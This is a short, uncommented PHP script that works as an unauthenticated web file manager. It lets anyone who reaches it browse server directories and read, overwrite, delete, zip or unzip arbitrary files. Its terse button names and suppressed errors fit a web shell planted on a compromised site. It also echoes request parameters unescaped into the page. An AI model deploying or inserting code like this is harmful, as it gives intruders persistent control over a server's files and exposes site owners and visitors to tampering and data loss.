<?php
if(isset($_GET['dir'])) @chdir($_GET['dir']); $dir = @getcwd();
if (isset($_GET['file'])) $file=$_GET['file']; else $file = '';
if (isset($_POST['file'])) $file=$_POST['file'];
if ($file) {
if (isset($_POST['S'])) { $file=$_POST['file']; file_put_contents($file,$_POST['new']);};
if (isset($_POST['D'])) unlink($file);
if (isset($_POST['uZ'])) { $zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
$zip->extractTo('./'); $zip->close();}
};
if (isset($_POST['Z'])) { $zip = new ZipArchive;
$filezip = $file.".zip";
if ($zip->open($filezip,ZIPARCHIVE::CREATE) === TRUE) {
$zip->addFile($file); $zip->close();}
};
$text = @file_get_contents($file);} else $text='';
$files = scandir($dir);
$su=$_SERVER['PHP_SELF']."?dir=".$dir;
echo "<table border='1'>\n";
for ($i=0;$i<count($files);$i++) {
if (is_dir($files[$i])) {$isdir='DIR'; $url=$su."/".$files[$i]; } else
{$isdir='file'; $url=$su."&file=".$files[$i]; }
echo "<tr><td><a href = ".$url.">".$files[$i]."</a></td><td>".$isdir."</td>"; } ?>
</table><form action="<?=$su?>" method="POST">
<textarea name = 'new' rows = '30' cols = '50'><?=htmlspecialchars($text)?></textarea><br>
<input type="text" name="file" value="<?=$file?>">
<input type="submit" name="S" value="Sv">
<input type="submit" name="D" value="Del">
<input type="submit" name="uZ" value="UnZip">
<input type="submit" name="Z" value="Zip">
</form>